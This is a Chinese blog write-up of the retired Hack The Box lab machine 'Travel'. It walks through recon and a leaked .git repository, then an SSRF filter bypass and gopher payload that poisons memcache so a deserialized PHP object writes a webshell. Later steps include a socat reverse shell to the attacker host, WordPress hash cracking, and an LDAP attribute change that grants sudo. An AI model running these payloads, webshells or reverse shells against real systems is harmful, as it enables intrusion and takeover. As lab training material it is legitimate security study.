hackthebox-Travel

Travel這臺靶機真的是做hackthebox以來遇到的最佳靶機了。相比之前因為pwn的知識而根本沒法下手的一些hard靶機。Travel屬于純滲透WEB知識,而且非常接近實戰(zhàn)。難度甚至完全可以擔當insane了。其起手式相比其他靶機相當困難。但我也因此學到了ssrf利用的新姿勢,并且在之后的提權(quán)部分也基本上是面對完全未知的系統(tǒng)操作。所以最后完成的瞬間真的非常高興。畢竟這是自己第一次做出不到四位數(shù)solved的靶機。整個過程中也遇到了很多困難。感謝anoNym1ty與traut的幫助。在他們給我的提示下我才能找到下手點并逐步完成滲透的過程。

Let's get it started.

由于Travel還是active狀態(tài),所以我會給文章上鎖直到靶機退役。
9.14:靶機已退役

  • 靶機ip:10.10.10.189
  • 攻擊機ip: 10.10.14.6

initial foothold

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 21:07 CST
Nmap scan report for 10.10.10.189
Host is up (0.44s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open  ssl/http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Not valid before: 2020-04-23T19:24:29
|_Not valid after:  2030-04-21T19:24:29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap掃描顯示了22,80與443端口。值得注意的是這次我們的nmap直接爆出了除www外的兩個子域名blog.travel.htbblog-dev.travel.htb。這實際上節(jié)省了我們后續(xù)的很多時間。

然后老規(guī)矩一個個來了。

  • travel.htb。只是單純的一個靜態(tài)網(wǎng)頁。中間提到blog字眼??磥硎前凳玖?code>blog.travel.htb。
  • blog.travel.htb 這個很有可能是重頭戲。因為訪問之后發(fā)現(xiàn)是一個wordpress搭建的網(wǎng)站。有著很明顯的wordpress特征。且首頁源碼內(nèi)有一段注釋提到了-dev to -prod。似乎是blog-dev的提示。
  • blog-dev.travel.htb 訪問直接是403。且跟前兩者一樣都是nginx服務(wù)。
  • https://www.travel.htb 直接訪問會顯示證書錯誤。網(wǎng)頁提醒說要去non-https站看。因此沒有過多信息。

因為沒有過多有用的點。所以我們必須得用wfuzz來收集更多目錄信息了。這一步基本上就兩種選擇:目錄爆破或者子域名爆破。其中子域名我們應(yīng)該已經(jīng)齊全了,接下來就是一個不漏的進行目錄爆破。(這點非常重要,因為我第一次忘記對blog-dev進行信息收集,所以導致錯失關(guān)鍵信息)

對blog.travel.htb可以使用wpsscan 收集下wordpress的信息

wpscan --url https://xxxxx --enumerate vtp

并沒有什么收獲。之后用wfuzz對網(wǎng)站直接fuzzdir。也只是得到一些普通的wordpress路徑。
ps: 這里因為自己第一次下手wordpress之類的站。導致對一些常規(guī)的php文件與路由會過分關(guān)注。比如一般robots.txt中會出現(xiàn)的allow: /wp-admin/admin-ajax.php.以及xmlrpc.php。后者確實存在一些ping的命令調(diào)用,但是并沒有什么用。而這個站還有wp-json的res api。但是除了博文信息一無所獲。

之后轉(zhuǎn)向blog-dev.travel.htb。開始使用的字典什么都沒爆出來,但是之后換了/usr/share/wordlists/dirb/common.txt后得到了一個.git/HEAD的存在。原來是存在.git泄露。(再吐槽下,kali自帶的幾個字典有時真的拉胯,如果是平時打CTF用的掃描器肯定不會出這種沒爆出來.git的問題)

那就常規(guī)githack源碼恢復。得到三個文件
README.md

# Rss Template Extension

Allows rss-feeds to be shown on a custom wordpress page.

## Setup

* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
* create logs directory in `wp-content/themes/twentytwenty` 
* create page in backend and choose rss_template.php as theme

## Changelog

- temporarily disabled cache compression
- added additional security checks 
- added caching
- added rss template

## ToDo

- finish logging implementation

rss_template.php

<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();

?>

<main class="section-inner">
<?php
    function get_feed($url){
     require_once ABSPATH . '/wp-includes/class-simplepie.php';     
     $simplepie = null;   
     $data = url_get_contents($url);
     if ($url) {
         $simplepie = new SimplePie();
         $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
         //$simplepie->set_raw_data($data);
         $simplepie->set_feed_url($url);
         $simplepie->init();
         $simplepie->handle_content_type();
         if ($simplepie->error) {
             error_log($simplepie->error);
             $simplepie = null;
             $failed = True;
         }
     } else {
         $failed = True;
     }
     return $simplepie;
      }
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
    $tmp = (explode("=", $url));    
    $url = end($tmp);   
} else {
    $url = "http://www.travel.htb/newsfeed/customfeed.xml";
    }
    $feed = get_feed($url); 
    if ($feed->error())
    {
        echo '<div class="sp_errors">' . "\r\n";
        echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
        echo '</div>' . "\r\n";
    }
    else {
?>
    <div class="chunk focus">
        <h3 class="header">
        <?php 
            $link = $feed->get_link();
            $title = $feed->get_title();
            if ($link) 
            { 
                $title = "<a href='$link' title='$title'>$title</a>"; 
            }
            echo $title;
        ?>
        </h3>
        <?php echo $feed->get_description(); ?>

    </div>
    <?php foreach($feed->get_items() as $item): ?>
        <div class="chunk">
            <h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?>&nbsp;<span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
            <?php echo $item->get_content(); ?>
            <?php
            if ($enclosure = $item->get_enclosure(0))
            {
                echo '<div align="center">';
                echo '<p>' . $enclosure->embed(array(
                    'audio' => './for_the_demo/place_audio.png',
                    'video' => './for_the_demo/place_video.png',
                    'mediaplayer' => './for_the_demo/mediaplayer.swf',
                    'altclass' => 'download'
                )) . '</p>';
                if ($enclosure->get_link() && $enclosure->get_type())
                {
                    echo '<p class="footnote" align="center">(' . $enclosure->get_type();
                    if ($enclosure->get_size())
                    {
                        echo '; ' . $enclosure->get_size() . ' MB';
                    }
                    echo ')</p>';
                }
                if ($enclosure->get_thumbnail())
                {
                    echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>';
                }
                echo '</div>';
            }
            ?>

        </div>
    <?php endforeach; ?>
<?php } ?>
</main>

<!--
DEBUG
<?php
if (isset($_GET['debug'])){
  include('debug.php');
}
?>
-->

<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>

<?php
get_footer();

template.php

<?php

/**
 Todo: finish logging implementation via TemplateHelper
*/

function safe($url)
{
    // this should be secure
    $tmpUrl = urldecode($url);
    if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
    {       
        die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
    }
    if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
    {       
        die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
    }
    $tmp = parse_url($url, PHP_URL_HOST);
    // preventing all localhost access
    if($tmp == "localhost" or $tmp == "127.0.0.1")
    {       
        die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");      
    }
    return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    $output = shell_exec($pl);
    return $output;
}


class TemplateHelper
{

    private $file;
    private $data;

    public function __construct(string $file, string $data)
    {
        $this->init($file, $data);
    }

    public function __wakeup()
    {
        $this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {       
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

到這一步一下子得到了很多關(guān)鍵信息。我首先注意到的是template.php中存在的針對ssrf的waf以及一個可以寫文件的反序列化利用??磥砦覀兊淖罱K目的肯定是反序列化寫webshell了。

回過頭看readme.提到它將這兩個php文件放在twentytwenty的文件夾下。并且似乎使用了rss_template.php作為模板文件。
這點從我們訪問網(wǎng)址提供的blog主頁也可以看出。


然后注意rss_template.php.其中有很多關(guān)鍵語句。大致流程是。如果我們傳了custom_feed_url變量。其值將被送去過一層waf.然后調(diào)用curl+escapeshellarg(url)的系統(tǒng)命令。之后是與memcache進行連接,進行了一系列操作。
同時,注意php中還有提到debug.php的存在。如果帶上參數(shù)debug就會include debug.php.

這里大致的脈絡(luò)肯定有了。反序列化存在一個寫文件的利用。curl存在一個ssrf的利用.并且waf很好繞。關(guān)鍵在于如何通過ssrf 反序列化。我想大部分應(yīng)該都只接觸過ssrf打redis觸發(fā)python 的pickle數(shù)據(jù)反序列化。但是這里是php,真的有辦法讓curl執(zhí)行的ssrf觸發(fā)反序列化嗎?答案是肯定的。

首先我去了解了下Memcache。發(fā)現(xiàn)這是一個及其類似redis的鍵值存儲數(shù)據(jù)庫。只不過常用于緩存服務(wù)器。其大致操作與redis非常相近

#set 命令
set key flags exptime bytes [noreply] 
value 

#get 命令
get key

那么這里我們必須找到memcache與序列化數(shù)據(jù)的相互關(guān)聯(lián)。不過在此之前我們可以先在頁面嘗試下這個ssrf.并且通過debug參數(shù)看看debug.php會返回什么

<!--
DEBUG
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
| xct_43dbce622f(...) |  |
| xct_0c192bbacb(...) | a:3:{s:3:"url";s:17:"http://0.0.0.(...) |
| xct_58f1d97bfd(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

我發(fā)現(xiàn)它似乎的確是按鍵值序存儲的。并且數(shù)據(jù)的確是反序列化數(shù)據(jù)。但是我們看不到完整的鍵名。也不清楚是否存在反序列化的過程,還是只是單純序列化存入。

那么我們恐怕得深入下源碼了。這里關(guān)于memcache的鏈接主要用到的是/wp-includes/class-simplepie.php我們來審計一下。

$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();

可以看到這段與memcache相關(guān)代碼主要是執(zhí)行了四個函數(shù)。其中我們傳入的url會被作為其中一個的參數(shù)。
來到Simplepie


構(gòu)造函數(shù)主要是實例化了兩個類。后面由于我們構(gòu)造函數(shù)并沒有傳入?yún)?shù)所以不用管。而且其實可以看到現(xiàn)在只支持通過后面的函數(shù)傳遞構(gòu)造參數(shù)。
SimplePie_Sanitize類跟一下沒什么內(nèi)容。大致是一個格式規(guī)范的作用。SimplePie_Registry似乎是一個注冊器的功能。
回到rss,調(diào)用了set_cache_location


這里并沒有對我們傳入的參數(shù)memcache://127.0.0.1:11211/?timeout=60&prefix=xct_進行處理
然后是
$simplepie->set_feed_url($url);

由于我們的url只有一個。所以不會進入in_array()而是進入else分支。看到它用registrty屬性調(diào)用了call方法。而registry就是之前實例化的SimplePie_Registry對象。我們跟過去看看

get_class方法

public function get_class($type)
{
        if (!empty($this->classes[$type]))
        {
            return $this->classes[$type];
        }
        if (!empty($this->default[$type]))
        {
            return $this->default[$type];
        }

        return null;
}

我們送入call的type與method分別是Miscfix_protocol.這里去找找到了default屬性

Misc對應(yīng)了SimplePie_Misc。返回了這個字符串。那么現(xiàn)在就可以回到call繼續(xù)看調(diào)用了什么。由于$this->legacy默認是空的,不滿足in_array($class, $this->legacy)。最后其實就是返回了一個$result = call_user_func_array(array($class, $method), $parameters);
也就是用SimplePie_Misc類的fix_protocol方法處理array($url, 1)。
fix_protocol簡單跟一下發(fā)現(xiàn)就是簡單的url格式處理。所以如果我們開始傳入的url是http://127.0.0.1/這樣標準的url。返回值就不會變。

(這里的registry其實就是一個注冊器調(diào)用方法的例子,學習了)

那么最后結(jié)束。整個set_feed_url執(zhí)行的是對$this->feed_url$this->permanent_url的賦值。值均為我們傳入的url.

接下來回到rss_templatee.php調(diào)用的init()
首先大致看下。發(fā)現(xiàn)存在一個if分支。我們進入的是if ($this->feed_url !== null)的分支

可以看到首先是注冊器有調(diào)用了一次SimplePie_Misc的parse_url方法處理url。然后我們進入$this->cache && $parsed_feed_url['scheme'] !== ''的if分支。這里回過頭看下 $this->cache是默認true的。我們的url肯定也是http協(xié)議的。所以確認進入if.看看調(diào)用了什么方法。
首先$force_feed默認為false.那么我們直接看下面這個注冊器調(diào)用的方法。也是重中之重。

$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));

根據(jù)前面的注冊器調(diào)用規(guī)則,我們知道這里肯定是調(diào)用SimplePie_Cache的gethandler方法。參數(shù)是cache_locationcall_user_func($this->cache_name_function, $url), 'spc')組成的數(shù)組。

這里順便看眼$this->cache_name_function發(fā)現(xiàn)是默認為'md5'的字符串。
那么現(xiàn)在看看Cache的gethandler方法。

首先處理了我們之前一直沒用上的memcache://127.0.0.1:11211/?timeout=60&prefix=xct_可以看到取出的$type是memcache.

對應(yīng)到設(shè)定的$handler屬性,返回的就是SimplePie_Cache_Memcache。那最后實際上這里get_handler是實例化了一個SimplePie_Cache_Memcache對象。

繼續(xù)跟到SimplePie_Cache_Memcache去


這兩句非常關(guān)鍵

$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new Memcache();

可以看到上面因為用parse_url處理了我們的memcache連接url。那么$options應(yīng)該是被我們的設(shè)置覆蓋了一次。此時timeout=60(cache有效時間),prefix為xct_

而name的賦值涉及到送入構(gòu)造方法的$name$type.回頭看看當初的參數(shù)。

$name
=>call_user_func($this->cache_name_function, $url)
=>md5($url)
$type
=>'spc'

也就是說name的命名方法是

xct_ +  md5(md5('name')+ ':spc')

到這一步為止,我們不難發(fā)現(xiàn)鍵名其實是完全可控的。并且$cache是一個SimplePie_Cache_Memcache對象。
那么回到init(),下一步是跟下$this->fetch_data($cache)方法,發(fā)現(xiàn)調(diào)用了$this->data = $cache->load();

終于看到了夢寐以求的unserialize。而$data = $this->cache->get($this->name)就是Memcache中按照鍵名取其值的內(nèi)容。到此為止,我們總算找到了反序列化的利用鏈。

也就是說,我們每次調(diào)用ssrf時。對應(yīng)的url都會被存進memcache并且反序列化。而這就帶來了利用的機會。

在實際做靶機時,我是先用ssrf打memcache,再回過頭看鍵名的問題的。實際上ssrf打memcache用gopherus可以輕松生成payload
傳入我們之前準備的序列化寫shell的序列化數(shù)據(jù)

class TemplateHelper
{
    public $file;
    public $data;
}
$o=new TemplateHelper();
$o->file='byc.php';
$o->data='<?php eval($_REQUEST[byc]);?>';
echo(serialize($o));
O:14:"TemplateHelper":2:{s:4:"file";s:7:"byc.php";s:4:"data";s:31:"<?php system($_REQUEST[byc]);?>";}

生成數(shù)據(jù)

gopher://127.0.0.1:11211/_%0d%0aset%20xct_byc404%204%200%2099%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22byc.php%22%3Bs:4:%22data%22%3Bs:29:%22%3C%3Fphp%20eval%28%24_REQUEST%5Bbyc%5D%29%3B%3F%3E%22%3B%7D%0d%0a

當然這里ssrf會因為127.0.0.1被禁。不過使用0.0.0.0即可。跟網(wǎng)鼎杯郁師傅的題一樣的。
先打一發(fā)隨便設(shè)個鍵名xct_byc404

從include 的 debug.php可以看到,我們成功寫入序列化數(shù)據(jù)。
那么接下來利用的思路就很簡單了。我們提前設(shè)計好url.計算出其對應(yīng)的memcache存儲鍵名。然后用gopherssrf打memcache,設(shè)置好鍵名與序列化payload。接下來再傳提前設(shè)計的url,即可觸發(fā)反序列化。
這里我準備的是http://127.0.0.2/按照上面的規(guī)則,生成的鍵名應(yīng)該是xct_43dbce622f33d358dcd3bff9f2994ac8

那么ssrf打一發(fā)


接著再把url改成http://127.0.0.2/傳一次。訪問wp-content/themes/twentytwenty/logs/byc.php發(fā)現(xiàn)成功寫入webshell

那么接下來就只用彈shell了


成功拿到www-data

小結(jié)下。這一部分的難度恐怕是前所未有。因為很少有出現(xiàn)ssrf打memcache的情況。并且其涉及的反序列化還需要進框架深挖。這種接近實戰(zhàn)的點真的非常難得,給出題人點個贊。同時也提醒我一點,ssrf觸發(fā)序列化不再是python的專利了。用php也是一種門道。我們同樣可以挖出一條利用鏈。

privesc to lynik-admin

getshell后,首先把shell往html目錄cp一份。因為logs下的文件會被定期刪除。
接著開始enumertion了。首先自己先去wp-confg.php找信息。發(fā)現(xiàn)了database用戶跟密碼

db: wp
wp:fiFtDDV9LYe8Ti

但是卻發(fā)現(xiàn)因為沒有升級shell的原因?qū)е鲁霾粊韒ysql界面(操作還是沒問題的,但是太難受了),索性放棄mysql。跑了下linpeas.sh

由于種種原因,這里linpeas.sh沒跑完就提前終止了。實際上是因為這個docker容器里有兩份wordpress源碼。內(nèi)容過多,導致linpeas會呈現(xiàn)很多其實并沒有什么用的內(nèi)容。

不過即便如此,linpeas還是能找到/opt/wordpress下的一個sqlbackup文件
backup13-04-2020.sql

其內(nèi)容同樣過多。因此我們直接下到本地,尋找其中user信息
cat *.sql | grep user

這次得到了兩個用戶

INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');

把兩個hash存起來,hashcat 爆破之

hashcat -m 400 -a 0 --force  -o pass.txt wp_pass  /usr/share/wordlists/rockyou.txt

這里第一個hash非???,使用rockyou字典跑完了都沒跑出來。第二個hash倒是很快就能爆破出密碼。
所以現(xiàn)在總算有一個有效的cred了。
lynik-admin:1stepcloser
嘗試直接ssh登錄,拿到user.txt

這一部分算是比較基礎(chǔ)的enumerate.我個人認為linpeas可能還沒有直接下手找關(guān)鍵文件效果好。同樣即使獲取了文件。也要注意提取關(guān)鍵信息,不要被太多垃圾信息混淆視線。

然后關(guān)于tty的方法。我后來發(fā)現(xiàn)除了python的以外還能使用socat升級shell.

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.6:4444

socat file:`tty`,raw,echo=0 tcp-listen:4444

privesc to root

登錄到主機后首先很快發(fā)現(xiàn)當前目錄有兩個關(guān)鍵文件。

  • ~/.ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
  • .viminfo
# This viminfo file was generated by Vim 8.1. 
# You may edit it if you're careful!                                                                
# Viminfo version                                                                                                                                     
|1,4       
# Value of 'encoding' when this file was written    
*encoding=utf-8                                                                                                                                                                 
# hlsearch on (H) or off (h):                                         
~h                                                                                                                                                    
# Command Line History (newest to oldest):                                                       
:wq!
|2,0,1587670530,,"wq!"

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Debug Line History (newest to oldest):

# Registers:
""1     LINE    0
        BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

# File marks:
'0  3  0  ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-'  3  0  ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-''  1  0  ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"

# History of marks within files (newest to oldest):

> ~/.ldaprc
        *       1587670529      0
        "       3       0
        .       4       0
        +       4       0

收獲了一個密碼。Theroadlesstraveled
這里兩個文件都與ldap相關(guān)。這點我們也可以從hosts中發(fā)現(xiàn)

127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb

::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

直接curl下看看

發(fā)現(xiàn)應(yīng)該是一個openldap系統(tǒng)

在花了很長時間從零開始了解ldap后。我終于知道怎么跟ldap系統(tǒng)進行交互了。那就是使用ldapsearch。這里先看下ldapsearch 的help中給出的幾個flag

ldapsearch
-D binddn  bind DN 
-w passwd  bind password (for simple authentication)

DN就是每個用戶獨一無二的入口。比如我的DN就是cn=lynik-admin,dc=travel,dc=htb.正好在ldaprc上提到了。而同理,密碼就是Theroadlesstraveled

使用ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled得到了許多返回值。其中前面一部分是這樣的

# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel

# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers

# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ== 

這里我們發(fā)現(xiàn)自己的用戶lynik-admin起到的正是ldap admin的角色。不過同時還有另一個admin。我們自身的信息暴露出的還有一個userPassword.但是這串密碼base4decode后的內(nèi)容也是不可破解的。

除了上面這些以外,我們還收集到了一堆似乎并不存在的用戶


在這一步我卡了很久。很大程度上是因為對ldap不熟悉。并且網(wǎng)上并沒有什么關(guān)于ldap與提權(quán)相關(guān)的信息。但是搜集了一些文章后,大致發(fā)現(xiàn)幾點

  • ldap admin可以修改其他用戶的屬性
  • ldap支持 sshPublickey 屬性

https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system
http://pig.made-it.com/ldap-openssh.html
https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/

這幾篇文章讀完后,大致心里有了數(shù):如果我們修改uidNumber,gidNumber這樣的關(guān)鍵信息。并且給其ssh key。我們就能更改用戶角色并且登錄。

這里嘗試設(shè)置密碼并不太可行。所以無法直接su到用戶。但是如果設(shè)置ssh公鑰就沒有這個問題

按照digitalocean那篇文章,我的最終payload

dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: uidNumber
uidNumber: 1001
-
replace: gidNumber
gidNumber: 27
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDwCi7CgbhlT2JWuhFOWWv+O3ENplGfGc9uwiKZ4W7GIbFI3rytRnmn8OalqGwQs++QQF1MQRUIVyJRjB0gdYoccKRs1GlQAcoXDBsmGp7NpIXIlYQ24kmcyLhAY85Al75li+cv/5j1RlN/W0eqoxuKIY6/g2F7FXbO3ZQSGRUtN6b52ePeJLIuOwn+FzXsnhuMPADDtMu7Eseh3i49N/KK3c/COZ6YxA2RYbzqNNIYyIWZK/z89FTAgNVQjNZqGsFjxkKZqIWbiSuo/c/UJauRetrv8vcvkL+FaXMUZMhkf6x7diX1Qkv7Fn4SW0BbQrx+zpZfFVycx3CmTMXd2KRMfOVpRJmNF4rG2ndcX/HIfM1fNZiTYL126TddLmGVKxzCircfp/xRwogKyznbwGR5RV078Y0L6iDl8KLTU+lFmeNxqlqkGvTc0xbjjSpLbKLoWM5Pg3Lvvq29wYk6+iurTcm8aPNQkaYn+wRS8bZ4gdOF6y9RzbMZIW9Mn3YTcxU= root@byc404

這里我選擇johnny這個用戶。因此首先把它的dn放在第一行。之后通過changetype: modify后,就能通過replace替換屬性值(有的屬性不支持多個值)add增加屬性值了。

通過將uid改為1001(lynik-admin)。以及將gid改為27(sudo group )。我們就能擁有sudo的權(quán)限。


ssh登錄johnny


既然有了sudo的權(quán)限。那就直接su 到 root吧。由于之前的uid已經(jīng)設(shè)置為lynik-admin。所以我們是知道sudo時的用戶密碼的。


rooted!

這一部分其實相對于我而言幾次出現(xiàn)了毫無思路的情況。還是因為對ldap不熟悉導致的。不過真正坑了幾篇文章后還是了解到了非常多的知識。對ldap也有了新的見解(然而我跟大多數(shù)人一樣,認為這是個垃圾玩意).

summary

整體來說travel的確是個難得的優(yōu)秀靶機。我也在htb上給了5星好評。其中起手式部分的確讓我打開眼界,拓寬了我對ssrf的認識。如果能力足夠的話也許我會嘗試把類似的知識點拿到比賽中,讓大家都了解下這個很有價值的利用點。:)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容